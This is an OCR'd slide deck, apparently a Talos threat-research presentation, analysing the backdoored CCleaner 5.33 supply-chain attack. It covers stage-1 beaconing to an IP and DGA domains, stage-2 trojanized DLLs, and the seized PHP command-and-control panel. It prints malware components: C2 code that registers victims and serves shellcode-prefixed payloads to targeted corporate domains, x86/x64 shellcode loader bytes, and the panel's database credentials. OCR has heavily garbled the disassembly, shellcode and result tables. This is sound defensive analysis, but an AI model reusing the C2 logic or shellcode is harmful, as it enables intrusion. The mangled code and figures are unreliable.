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Backdoor Analysis




What is CCleaner?
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What is CCleaner?

Our Statistics

CCleaner is available in

-

2 BILLION

downloads worldwide!

35,000;000 GB OVER
CLEANED EVERY MONTH 5,000,000

- that’s enough space DESKTOP INSTALLS
for 7 billion selfies! per week




Backdoor Detection

* Beta testing new engine in AMP

stfran]n,
CISCO

Advanced Malware Protection

 New exploit detection technology identified an executable triggering
our advanced malware protection systems



Detailz

Caompatibility

General ] Advanced |
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Certificate
General | petais | Certification Path |

“Yet another patched legit binary” ... BUT

h Certificate Information

This certificat intended for the following purpose(s):

likely an attacker compromised a portion of
development or build environment et ot et atbontts et for et
Leveraged access to insert malware into the tevedto: PrfomLid

CCleaner build that was released and hosted Losued by Symentac Clas 3 255 Code Saring CA
by the organization

Yalid fromy 3/ 11/ 2015 to 10 10f 2018

Install Certificate. . | | Issuer Statemsnt

Learn mare about certificates




Backdoor Analysis — Stage 1

* Backdoored software

e CCleanerv5.33

e Ccleaner Cloud v1.07.3191
e CCleaner version history

- All builds signed with new Digital Signatures

Browser Cleaning

- Firefox: Internet History cleaning rule no longer removes Favicon content

General
- Minor GUI improvements
- Minor bug fixes




Backdoor Analysis — Stage 1

 Backdoor location: runtime modification...

BS wrefs to sub_4010CD

Directic Typ Address

. p _ sot common_main_seh{void)+97  cal sub_4010CD

Line 1 of 1
sub_4818CD proc near
call Trojanlump
mov eax, offset unk_ASD4BC
retn
sub 4818CD endp
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Backdoor Analysis — Stage 1

Malware connects to
IP address
(21 6[.]126[.]225[.]1 48)

Continue normal C2
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Backdoor Analysis — Stage 1

Year-Month DGA Domain
2017-02 ab&d54340cTal]com
2017-03 aba9%9a949bc1d[Jcom
2017-04 ab2da3d400c20[Jcom
2017-05 ab3520430c23[.Jcom
2017-06 ab1c403220c27[.Jcom
2017-07 ablabad1dOc2al.|com
2017-08  abBcee60c2d[]com
2017-09 ab1145b758c30[Jcom
2017-10 ab890e964c34[ Jcom
2017-11  ab3d685a0c37[.Jcom
2017-12 ab70a139cc3alJcom



Backdoor Analysis — Stage 1

Details for abBeeeblc2d.com

Details for ab1 145k




Backdoor Analysis — Stage 1

* Machines registration: guid, IP address, MAC address...

Installed Programs Process List

Adobe Flash Player 23 ActiveX
Adobe Flash Player 26 NPAPI

Adobe Shockwave Player 12.1
CCleaner

CubePDF Utility 0.3.3% (x86)
Windows ZSH2E EEMFE - OLYMPUS IMAGING CORP.
Camera Communication Driver Package (09/09/2009 1.0.0.0)
Google Chrome
SRRERRARERERREE
LanScope Cat MR

Mozilla Firefox 55.0.3 (x86 ja)

Mozilla Maintenance Service
BREHDEER Corp AMMMRMN
RS & B i35 PDFinder 4.6
Picasa 3

TeamViewer 8

Roxio Central Data

Google Toolbar for Internet Explorer
i Ezip SRR

Roxio Central Tools

Google Toolbar for Internet Explorer
Java 8 Update 141
UpdateAdvisor(#if#1%1T) V3.60 L20
eReg

Java Auto Updater

PA-ZSB00T

Goeogle Earth Plug-in

Goeogle Update Helper

swMSM

Intel{R) Management Engine Components
SRR EEFT2014

Windows Media Player Firefox Plugin
CubePDF 1.0.0RC7

Fuji Xerox DocuWorks Viewer Light 8
Google HEHTIFER

iCloud

Security Update for Microsoft Excel 2010 (KB3191907) 32-Bit Edition
Security Update for Microsoft Office 2010 (KB2956063) 32-Bit Edition

Update for Microsoft Office 2010 (KB2589318) 32-Bit Edition

Wlndcr'.\'siSy:lemSE'nr:msr: exs
Windows\System32\csrss.exe
Windows\System32\wininit.exe
Windows\System32\csrss.exe
\Windows\System32\services.exe
Windows\System32\Isass.exe
‘Windows\System32\lsm.exe
Windows\System32\svchost.exe
\Windows\System32\nvvsve.exe
Windows\System32\svchost.exe
\Windows\System32\svchost.exe
Windows\System32\svchost.exe
\Windows\System32\svchost. exe
Windows\System32\audiodg.exe
\Windows\System32\svchost.exe
Windows\System32\SLsve.exe
Windows\System32\svchost.exe
\Windows\System32'winlogon.exe
\Windows\System32\svchost.exe
Windows\System32\nvvsve.exe
‘Windows\System32\spoolsv.exe
\Windows\System32\svchost.exe
C:\Program Files\Common Files\Adobe\ARM\1.0\armsve.exe
C:\Program Files\AgilentlO Libraries Suite\AgilentlOLibrariesService.exe
C:\Program Files\AgilentllO Libraries Suite\LxiMdnsResponder.exe
C:\Program Files\ESET\ESET Endpoint Antivirus\ekrn.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe




Backdoor Analysis — Stage 2

* Some selected compromised systems received a stage 2:
GeeSetup_x86.dll

* GeeSetup x86.dll:
* Drops TSMSISrv.dll
e x86 :trojanized VirtCDRDrv.dll (VirtCDRDrv Corel tool)
e x64 :trojanized EFACIi64.dll (SymEFA Symantec Endpoint)
* Not signed
* Creates registry keys (encoded PE)



Backdoor Analysis — Stage 2

* Trojanized binary: runtime patching
e x64: security_init_cookie

e Display limitation with IDA Pro
* More information:
http://blog.talosintelligence.com/2017/10/disassembler-and-
runtime-analysis.html



http://blog.talosintelligence.com/2017/10/disassembler-and-runtime-analysis.html

i vold _cdecl EESEMNIENSIRERRENEIS () loc 6938FB52: ; CODE XREF: _ security init cookie+2417
proE near lea reR, [r;pr281LSw5LcmTJmLh'F1 eTime] ; lpSystemTimeAsFileTime
sFileTime= _FILETIME ptr & call es:GetSystemTimeAsFile
>ﬁ'1ﬂ mnn'r(ounf- LARQE INTEGER ptr  18h may rhx, qhﬂrd ptr [r5p+zak+bysterlimensrilelime.ddL:HJa:elime]
arg_lé= gword ptr  18h call cs:GetCurrentProcessId
mary rlld, eax
mow [rsp+arg_1@], rbx €or rby, rill
push raL call csiGetCurrentThreadId
sukb rsp, Z8h . p
may rlld, eax
ma rax, Csigword 69393188
and quword ptre [rep+r28heSystemTimedsFileTine  dwlowDateTime], ar rox, ril
mav rdi, 2B992DOFAZ3ZH call csiGetTicklount
cop rax, rdi lea rex, [rspe2Bh+PerformanceCount] ; lpPerformanceCount
iz short loc S938FG52 may r11d, eax
] r x xor rbx, rii
:;; . a s call nceCounter
T rax 2 . .
moy csiguord_ 89393198, rax||/loc_&%38FR52: ; lpSystemTimedsFilel e rsp+2sh+PerformanceCount]
jmp short loc_693BFECE lea rcx, [rsp+2Bh+systemTimensFileTime] Aar
call csiGetSystenTimeasFileTime may rax, BFFFFFFFFFFFFh
Moy rhx, gword ptr [rsp+28heSystenTinedsF and ~11, rax
call cs:GetiurrentProcessid maw rax, 2BO99200FA233h
EOY rild, eax cmp rll, rdi
or rbx, rii MGV E ~11, rax
call csiGetCurrentThreadld mov cs:gword BO393188, rll
LT rlld, eax not 1
ETelnd rbx, riil
call cs1GetTickCount may csigword_6939319a, rill
lza rex, [rep+2Bh+Performancelount] ; 1pP
oy rild, eax loc_B938FRLE: ; CODE XREF: _ security_init_coockie+3@Tj
o rbx, rl1 may rbx, [rsp+2Bhearg 18]
call cs:QueryPerformancefounter add rsp, 28h
AoV ril, gword ptr [rsp+i8hsFerformancelo pop rdi
*or ril, rbx _security_init_cookie endp
L rax, BFFFFFFFFFFFFh
and 1, pax  text:BDRRRERREIIAFE02
oV rax, 2B99200FA233h - . ) o
cmp F11. rdi .text:PPRPREEBEI3IBFED2 loc_BO3BFED2: ; DATA XREF: .po BEPBEIINIETA Lo
CMONT ril, rax Lext BERRBEEREIIRFED2 j|r||;:| TrojanJump
HOY Cs:gword_69393188, ril Ltext:eoo0bB6038F602 ; -------------- - e e
Aot rl11 JtextpRRRRRERE03BFE0T db acch ; I
oy csigword_&939319a, ril Jtext: PRRREEEREDIRFEDE db acch ;7
BEE L]
loc_G938F6CH:
mo rbw, [rsp+2Bh+arg_18]
add rip, 28h

pop rdi
rit endp
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jmp @x6938F6cE

lea rox, [rsp + 8x3@)
call gword sym.imp.KERNEL3Z.d11l_GetSystemTimeAsFileTime

mow rhy, geord [rsp + @x38]
call qword sym.imp.KERNEL3Z.d1]1_GetCurrentProcessId

moy rlld, eax
xor rbx, rll
call gwerd sym, isp, KERNEL3Z, d11_GetCurrentThreadId

mov rlld, eax
xor rbx, ril
call qword [sym. imp. KERNEL3Z.d1]l GetTickCount]

lea rex, [rsp + Bx38]

mov rlld, eax

xor rbx, rll

call qword sym.imp.KERNEL3Z.d1]1_QueryPerformancelounter

mov rll, gword [rsp + 8x38)
xor rll, rbx

movabs rax, Sxfffifffrffef
and rill, rax

movabs rax, Buboo2ddfazai
cmp rll, rdi

emove r1l, rax

mov gword [BxG0393188], rll
nat rll

mov gwerd [Bx59393194], rll

mov rbx, gword [rsp = @x48)
add rsp, 8x28

pop rdi
jmp Bx693IEEA5C

TdLoOS



Backdoor Analysis — Stage 2

* The purpose additional malicious code:

* Decode a PE stored in registry
HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\001
HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\002
HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\003
HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\004

* The purposes of this new PE:
e Call a new CC (IP generated from Github & wordpress)
* Get anew PE and execute it from memory...

https://github[. Jcom/search?g=joinlurtype=Users&utf8=%F2%9C%93
https://en.search.wordpress| . lcom/?src=organic&qg=keepost




| |- text:00401016
. text:08401016
; CODE XREF: sub_1880252E+114lp . text:08401016 CustomBase6s oc ; CODE XREF: sub_4814CD+18Dip
; sub_1800252E+13Eip . text:08401016 ; sub_4014CD+1A64p
. text:08401016
var_4 = dword ptr -4 . text:08401016 var_4 = dword ptr -4
arg @ dword ptr 8 . text:08401016 arg @ = dword ptr &
arg_4 dword ptr  @Ch . text:08401016 arg 4 = dword ptr @ch
arg_8 dword ptr  16h . text:08401016 arg & = dword ptr 18h
arg C dword ptr 14h . text:08401016 arg C = dword ptr 1ah
. text:08401016
push ebp . text:08401016 push ebp
mov ebp, esp . text:08401017 mov ebp, esp
push  ecx . text:08401019 push  ecx
push  esi . text: 08401014 push  esi
push  edi . text:08401018 push  edi
mov edi, [ebp+arg 8] . text:0840101C mov edi, [ebp+arg 2]
test  edi, edi . text:0840101F test  edi, edi
jz loc_10@8136D . text:08401021 jz loc_401166
cmp [ebptarg 4], @ . text:08401027 cmp [ebptarg 4], @
jz loc_1608136D . text:08401028 jz loc_401166
mov eax, [ebptarg 4] . text:08401031 mov eax, [ebptarg 4]
push 3 . text:08401034 push 3
xor edx, edx . text:08401036 xor edx, edx
pop ecx . text:08401038 pop ecx
div ecx . text: 08481039 div ecx
push 3 . text: 88401038 push 3 2
cleaner 2 ok T 2 ok iss| backdoor —
pop esi . text:0840103F pop esi
mov ecx, eax . text:00401040 mov ecx, eax
800 mov eax, [ebp+arg_4] . text:08401042 mov eax, [ebp+arg_2]
stage . o siien APT17/Group 72
#00: mow eax, ecx . text: 00401047 mov eax, ecx
: shl eax, 2 . text:08401049 shl eax, 2
mov [ebptarg 8], eax . text:0840104C mov [ebptarg 8], eax
test  edx, edx . text:0840104F test  edx, edx
mov [ebptvar 4], edx . text:08401051 mov [ebptvar 4], edx
jz short loc_10801263 . text:08401054 jz short loc_40185C
add eax, 4 . text:08401056 add eax, 4
mov [ebptarg 6], eax . text: 08401059 mov [ebptarg 8], eax
. text:0840105C
loc_10001263: ; CODE XREF: CustomBase64+3ETj . text:0840105C loc_40165C: ; CODE XREF: CustomBase64+3ETj
mov esi, [ebptarg 5] . text:0840105C mov esi, [ebptarg 5]
test  esi, esi . text:0840105F test  esi, esi
jnz short loc_10801278 . text:08401061 jnz short loc_401871
cmp [ebp+arg C], esi . text:08401063 cmp [ebptarg C], esi
jnz loc_1868136D . text: 08401066 jnz loc_481166
jmp loc_1608136F . text:0840106C jmp loc_401168
. text:08401071
. text:08401071
0081278 loc_10001278: ; CODE XREF: CustomBase64+4B1j .text:08401071 loc_401071: ; CODE XREF: CustomBase64+4B1j
78 cmp [ebp+arg C], eax . text:08401071 cmp [ebp+arg C], eax
ib loc_1800136D . text:08401074 ib loc_401166
test ecx, ecx . text: 88481874 test ecx, ecx
push  ebx . text:0840107C push  ebx
jbe short loc_106812EE . text:0840107D jbe short loc_4018E7
mov [ebptarg €], ecx . text:0840107F mov [ebptarg C], ecx
. text:08401082
loc_10001289: ; CODE XREF: CustomBase64+CFij . text:08401082 loc_401082: ; CODE XREF: CustomBase64+CFij
mov b1, [edi] . text:08401082 mov b1, [edi]
mov al, [edit1] _text:08461084 mov al, [edit1]
inc edi . text:08401087 inc edi
mov byte ptr [ebptarg 4+3], al . text:08401088 mov byte ptr [ebptarg 4+3], al
mov al, bl . text:08401088 mov al, bl
inc edi . text:0840108D inc edi
sar al, 2 . text:0840108E sar al, 2
and al, 3Fh . text: 00401091 and al, 3Fh
push eax . text: 008401093 push eax
call  sub_160011D6 . text:08401094 call  sub_401800
mov [esil], al . text:08401099 mov [esi], al
mov al, byte ptr [ebptarg 4+3] . text:08401098 mov al, byte ptr [ebptarg 4+3]
sar al, 4 . text:0840109E sar al, 4
and b1, 3 . text:084010A1 and b1, 3
and al, @Fh . text: 00401044 and al, @Fh

00000610 1000121D: CustomBases4 (Synchronized with Hex View-1) + | 00000415 00401016: CustomBases4 (Synchronized with Hex View-1)
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Global security firms cooperate against Chinese hackers

0000000

Report: 'Highly Sophisticated
Cyber Espionage' Group Linked \
to Chinese Intelllgence — g For the first time, a group of 10 leading cyber-security companies have

A new report claims to have uncovered a o joined forces to hit back against an advanced persistent threat (APT) hacker

Ten cyber-security companies have cooperated to pool intelligence and combat Chinese APT actors.

Chinese hacking group more sophisticated

than Unit 61398.
3| New Chinese Intelligence Unit Linked to el BUEtHE saciPhy
Massive Cyber Spying Program maptenard Rkebye=- i

o o 0 o Q . . . » ) iers and the malware tools
Axiom likely a Ministry of State Security spy unit
Global security firms cooperate against Chinese

A report issued by private cyber-security firms claims WEE BY: Bill Gertz Hackere
to have unveiled a sophisticated hacking outfit sponsored by the Chine - 3 < :

“Axiom” in the report, is said to have targeted everything from governr - S ) fensive are detailed in a

in a global campaign over the past six years. A PDF of the full report, ti rm Novetta, which led the group.
Actor Group Report” can be accessed here.

A Chinese intelligence unit carried out a
massive cyber espionage program that stole
vast quantities of data from governments,
businesses and other organizations, security
analysts who uncovered the operation said
Thursday.

Google China building in Beijing / AP The activities of the Chinese unit called the

Axiom group began at least six years ago
a m E @ a and were uncovered by a coalition of

security firms this month.

https://blogs.cisco.com/security/talos/threat-spotlight-group-72



Command and Control Investigation
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Command and Control Investigation

* PHP panel with MySQL database

- W=[==[=—
drwxr—-xr—x
—W=T=—[——
— W [ [
lrwxr—-xr-x

b e U

random
random
random
random
random

staff
staff
staff
staff
staff

24179 Aug 15 06:18
170 Sep 12 04:45
14558 Sep 12 11:18
2174 Sep 13 03:44
5 Sep 19 00:36

cls_mysql.php

data

X.php

init.php

index.php -> x.php



Command and Control Investigation

e If the requests don’t look good

if($_SERVER["HTTP_HOST"] != "“speccy.piriform.com")

{
Header("Location: https://www.piriform.com");
exit;

}

if($_SERVER["REQUEST_METHOD"] !'= "POST")

{
Header("Location: https://www.piriform.com");
exit;

}

if($_SERVER["SERVER_PORT"] != $ServerPort)

{

Header("Location: https://www.piriform.com");

3 R TdlLOS



Command and Control Investigation

e Configuration file

$timezone = 'PRC';
¢db_host = 'localhost';
$¢db_user = 'ccuser';
$db_pass = 'kill.usercc';
$db_name = 'CC';
¢db_table = 'Server';

$display_error = false;
$ServerPort = 443;
¢NextOnlineDays= 2;

$x64D11Name :
"/var/www/html/data/GeeSetup_x86.d11";|

$x86D11Name



Command and Control Investigation

 Compromised machine registration

$sql = sprintf("INSERT INTO %s (Guid, IPAddress, OnlineTime, MajorVersion, MinorVersion,
Wow64, ProcessWin64, UserAdmin, HostName, DomainMame, MacAddress, Software, ProcesslList) ".
"VALUES (%u, '%s', '%s', %d, %d, %d, %d, %d, 'Sss', '%s', '%s',
'965', |%5|}u'
$db_table, $s['Guid'], $_SERVER['REMOTE_ADDR'], date('Y-m-d
H:i:s'), ord($s['OsVersion'] [@]), ord($s['OsVersion'][1]),
ord($s['OsVersion'][2]) 7 1 : @, $ProcessWin64 7 1 : @,
$UserAdmin ? 1 : 0,
addslashes_deep($s['HostName']), addslashes_deep($sl
'DomainName']), $macaddr, addslashes_deep($software),
addslashes_deep($process));

//echo $info;
//echo $sql;

l$db—>query($5q1}:



Command and Control Investigation

* Shellcodes

$peloader_x86 = $peloader_x64 =
"\x55\x8b\xec\x83\xec\x50\x53\x56\x57\xe8\xdf\x02\x00\x00\x80\x65" . ': \cdBAXBINGA X2\ X 10\ k4B B\ A\ 24\ BBANE 55\ K56\ K57 \341\154': .
"\xbc\x00\x8b\xf8\xBd\x45\xbB\xBI\x7d\xec\x50\xc7\x45\xb@\x6b\x65". ' ‘\-xziﬁitxﬂ‘ﬁ?:x:é‘cg:Xﬁﬁtg‘\-ﬁ‘::ﬁﬁg:ﬂ}txﬁtﬁtﬁ' .
" " "\oedeh o P Py of iy xdc b b AFAY (AW { ",
l.\x72\x6e\xc7\x45\xb4\x65\x6c\x33\x32\xc7\x45\xb8\x2e\x64\x6c\xsc“ X "B\ B5\x T2\ xEe\ e T\ 2N 3B\ N\ I3 NI 2\ x40\ KB 1\ x4\ xdh" .
\xff\x55\x08\x80\x65\xbc\x00\x8b\xd8\xBd\x45\xb@\xbe\x56\x69\x72". \XOT\x00\ X0\ .
- A EO AW CEAN F LAV E LAY PV A GTaR TV (e A ERAV BV E Tl {1
\X74\x50\x53\xB89\x75\xbB\xc7\x45\xb4\x75\x61\x6c\x41\xc7\x45\xb8" . ocf P\ xdB\ A8\ X8\ X541 244 x 30 x b\ X 56\ KB\ 72\ x T4\ x48\ xBB\XCB\xcT"
o FAX63\xf f\x55\x0c\x89\x45\xf4\xBd\x45\xb@\x50\x53\x89". -
P caded T AGARTEXEL\KEE\ AL\ XC T\ XA\ XA IBAXEC\ KB\ XE T\ XE I\ X48"
\X75\xbB\XCT\x45\xb4\X75\XE1\x6C\x46\xCT\X45\XxDB\XT2\XE5\X65\XBB" . 3y g\ FB\XBI\NBC\X24\ XIO\XCE\ X44NX24\ X3 CA XD\ xF T\ X6\ 248\ xBA\ 54",
"\ xfFAX55\x0c\x89\x45\x fD\)‘Sd\XdS\xbO\xSO\x53\x89\x75\xb0\xc7\x45" . "2 4N X 3B\ A BN xBbN\ e FAXBE B V2438 T\ 24\ x 34\ x 75\ x 61\ xBc" .
"\ xb4\x75\x61\x6c\x50\xc7\x45\xb8\x72\x6 T\ x74\x65\xc7\x45\xbc\x63" . "B e TAAA\ 24N\ 3B\ X T 24 065\ 65\ 00\ x 4B\ xBb\ xd B\ x F F\xd6\ 248\ xBd" .
"\X74\x00\x00\ x T\ x55\x0c\x8b\x5 M\ x3c\xB9\x45\xdc\x6a\x04\x68\x00" . "G 24N 38 x4\ xBb\ xe P\ BR B 24\ 3 e T 24\ x 34\ X 75\ xB1" .
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Command and Control Investigation

e Targets list

$pefilename = "";
// ProcessWint4 = @

// If domain is the domain list, set the $pefilename to the filename to send back
if(IsInArray($DomainList, $s['DomainName'])) { $pefilename = GetD1l1File($ProcessWing4); }

// If the ip is in the IPList, set the $pefilename to the filename to send back
if(!file_exists($pefilename)) { if(IsInArray($IPList, $_SERVER['REMOTE_ADDR'])) { $pefilename = GetDllFile(3ProcessWin64); } }

/o,
if(!file_exists($pefilename)) { if(IsInArray($HostList, $s['HostName'])) { $pefilename = GetDl1File($ProcessWin64); } }

// Finally if pefilename has a file to feed and it exists, send them the file
if(file_exists($pefilename))
{
$pefilecontent = file_get_contents($pefilename);
if($pefilecontent) {
if($ProcessWin64) {
$outcode = $peloader_x64 . $pefilecontent;
} else {
$outcode = $peloader_x86 . $pefilecontent;

}



$DomainList = array(

Command .o oot astigation

- — — "samsung-breda", =
"Samsung"”,
"SAMSUNG.SEPM",
. "samsung.sk",

e Targets list “jp.sony.com",
"am.sony.com",
""gg.gauselmann.com",
“"vmware.com",
"ger.corp.intel.com",
"amr.corp.intel.com",
"ntdev.corp.microsoft.com",
"cisco.com",

"uk.pri.o2.com",
"vf-es.internal.vodafone.com",

"linksys",
"apo.epson.net",
"msi.com.tw",
"infoview2u.dvrdns.org",
"dfw@l.corp.akamai.com",
"hg.gmail.com",
"dlink.com",

"test.com");
[



Command and Control Investigation

e Database investigation: 3 tables
e Server — Main table with all the data concerning stage 1 compromised
machines
e OK -—table with selected machines / Stage 2 payload delivered
 GET - Empty table

e Only 4 days of data...
* Only1/5CC



Command and Control Investigation

e Server table:

clumns in [[.SE’uEﬁ;

£

| Result Grid | HH  Filter Rows: |:| | Export: B[] | Wrap Cell Content: 4

Field Type Mull Key Default Extra
id bigint{20Y unsianed MO PRI auto increment
Guid bigint20} MO ML
IPAddress varchar(15) YES MIIL
OnlineTime datetime YES
M i tirvint{4Y YES

tirvirt {4 YES

tirvint{ 13 YES

timvint{ 1) YES

tirvint{1) YES

varchar(258) YES

varchart’ YES

varcharl, YES

mediumtext YES

mediumtext YES
] int{11)
Reserved? int{11)




Command and Control Investigation

e Server table:

IP Address

Mac Address

Host Hame

W70 < /-7 S| FE §

System

C:\Windows\System32\smss.exe
C:\Windows\System32\csrss.exe
C:\Windows\System32twininit.exe
C:\Windows\System32\csrss.exe
C:\Windows\System32\services.exe
C:\Windows\System32\|sass.exe
C:\Windows\System32\lsm.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\nvvsvc.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\audiodg.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\SLsvc.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\winlogon.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\nvwsvc.exe
C:\Windows\System32\spoolsv.exe
C:\Windows\System32\svchost.exe

C:\Program Files\Commeon Files\Adobe\ARM\1.0\armsve.exe
C:\Program Files\AgilentlO Libraries Suite\AgilentlOLibrariesService.exe
C:\Program Files\Agilent\IO Libraries Suite\LxiMdnsResponder.exe
C:\Program Files\ESET\ESET Endpoint Antivirus\ekrn.exe

.1

Major Version Minor Version User

Adobe Flash Player 23 ActiveX
Adobe Flash Player 26 NPAPI

Adobe Shockwave Player 12.1
CCleaner

CubePDF Utility 0.3.35 (x86)

Windows {H{83E ERMBFEE - OLYMPUS IMAGING CORP.
Camera Communication Driver Package (09/09/2009 1.0.0.0)
Google Chrome

SRR SR

LanScope Cat MR

Mozilla Firefox 55.0.3 (xB6 ja)

Mozilla Maintenance Service

{E{SEEHEEER Corp (RIAMHMMN

T % 2 B4H % 5 PDFinder 4.6

Picasa 3

TeamViewer 9

Roxio Central Data

Google Toolbar for Internet Explorer

1 i P zip M TG RAR

Roxio Central Tools

Google Toolbar for Internet Explorer

Java 8 Update 141

UpdateAdvisor(#if##33) V3.60 L20

eReg

Java Auto Updater

PA-ZSB600T

Google Earth Plug-in

Google Update Helper

swMSM

Intel(R) Management Engine Components
ISR R 2014

Windows Media Player Firefox Plugin

CubePDF 1.0.0RCY

Fuji Xerox DocuWorks Viewer Light 8

Google fEHlEEE|

iCloud

Security Update for Microsoft Excel 2010 (KB3191907) 32-Bit Edition
Security Update for Microsoft Office 2010 (KB2956063) 32-Bit Edition
Update for Microsoft Office 2010 (KB2589318) 32-Bit Edition




Command and Control Investigation

e OK table:

columns in CC.OK;

| Result Grid | [H Fitter Rows: |:| | Export: B[] | Wrap Cell Content:

Field ype Mull Key Default Extra

id jaint(20) unsianed MO PRI auto increment
Guid iai NO ML
IP&ddress n:lrlj'h:lrl 15) YES MUL
I'1r|||r|!-"|'|r||!-' datetime YES
tirvirt{4) YES
tinvirt{4) YES
timvint{ 1) YES
tinvint{ 1} YES
tinvint{ 1} YES
varchar{256) YES
Dl mainiame varchar YES
MacAddress varchar{255) YES
f medium YES
mediumtext YES
int{11} YES
int{11} YES

E [}
=
=

s HHHBH B
= = = =
H EH EH E
~rEFR~RF




Command and Control Investigation

id,OnlineTime from CC.OK;

* OK table:
| Result Grid | ] 43 Fiter Rowes: |:|| Edit:

id OnlineTime
2017-09-

20170

20170

2017-09-
201709

20170

20170

20170

20170

20170

20170

2017-09-
2017-09-

20170

20170

2017-09-

20170
2017-09-13 21:30:
2017-09-14
2017-09-14 04:57:12
2017-09-14 13
2017-09-15 12: 18

2017-09-15

L

[, 9

o o)

V]




Command and Control Investigation

e Let’s play with statistics...

1® select count(*) from CC.Server;

£

Result Grid | HH 4% Fiter Rows: |:| | Export:

count{®)

d02419

18 =select count(*) from CC.Server where DomainMame <> ™;

<

Result Grid | _'_J 4) Fiter Rows: |:| | Export: B[] |"."..I'r.ap Cell Content:

count(®)
41445




Command and Control Investigation

¥

Win 10
Result Grid | _rJ 43 Fitter Rows: |:|| Export: E[] |"."..I'r.ap Cell Content: f&

count(®)
193021

1w select count(*} from Server where MajorVersion = & and MinorVersion = 1;

Result Grid | HH 4% Fiter Rows: |:I| Export: EfH] | Wrap Cell Content: &

count{*)

where MajorVersion = 5;

WI n XP Result Grid | _rj ¥ Filter Rows: |:| | Export: B |".".l'r.ap Cell Content: IA&

count(®)
102829




Command and Control Investigation

Let’s play with statistics...

select count(*) from CC.Server where DomainName like ™

Result Grid | 1] 4% Fiter Rowes: |:|| Export: HJ | Wrep Cell Content: IR

count(*)

r where DomainMame like "#bank®";

Result Grid | 1] 4% Fiter Rows: |:| | xport: B[ | Wrep Cell Content: TR

count{*)
51




Command and Control Investigation

e Let’s play with statistics...

* Machines from
* FR: > 50.000
 BE: > 6.000
e CH:> 3.000
e LU: > 250



Conclusion
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